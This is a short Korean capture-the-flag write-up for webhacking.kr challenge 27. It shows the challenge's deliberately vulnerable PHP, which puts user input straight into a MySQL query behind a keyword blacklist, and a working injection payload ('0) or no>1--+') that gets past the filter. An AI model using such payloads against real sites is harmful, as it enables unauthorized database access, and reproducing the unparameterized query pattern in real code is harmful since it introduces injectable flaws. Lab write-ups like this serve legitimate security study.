webhacking.kr 27번문제

Xero

박준혁 (한국디지털미디어고등학교 1학년)

2011-08-05

wnsgurzxc@nate.com

SQL INJECTION이라는 글자와 폼 하나가 보인다.

다음이 소스이다.

```
<html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<!-- index.phps -->
</body>
</html>
```

주석으로 index.phps라는 글귀가 있어서 들어가 보았다.
다음이 index.phps에서 본 실제 소스이다.

```
<html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?
```

```
if($_GET[no])
{
if(eregi("#|union|from|challenge|select|₩(|₩t|/|limit|=|0x",$_GET[no])) exit("no hack");
$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error");
if($q[id]=="guest") echo("guest");
if($q[id]=="admin") @solve();
}
?>
<!-- index.phps -->
</body>
</html>
```

여러 가지를 필터링 하고 있으므로 거짓으로 만들고 or 를 이용해 참을 만들고 주석처리를 하면 풀릴 것 같다.
그러나 주석들을 필터링 하고 있어서 새로운 주석을 찾는다고 많이 힘들었다.
그래서 찾은 것이 --+이다.
=도 필터링 하므로 >를 이용해서 참을 만들었다.
0) or no>1--+

다음과 같이 위의 쿼리를 no에 넣어 전송하여 클리어 하였다.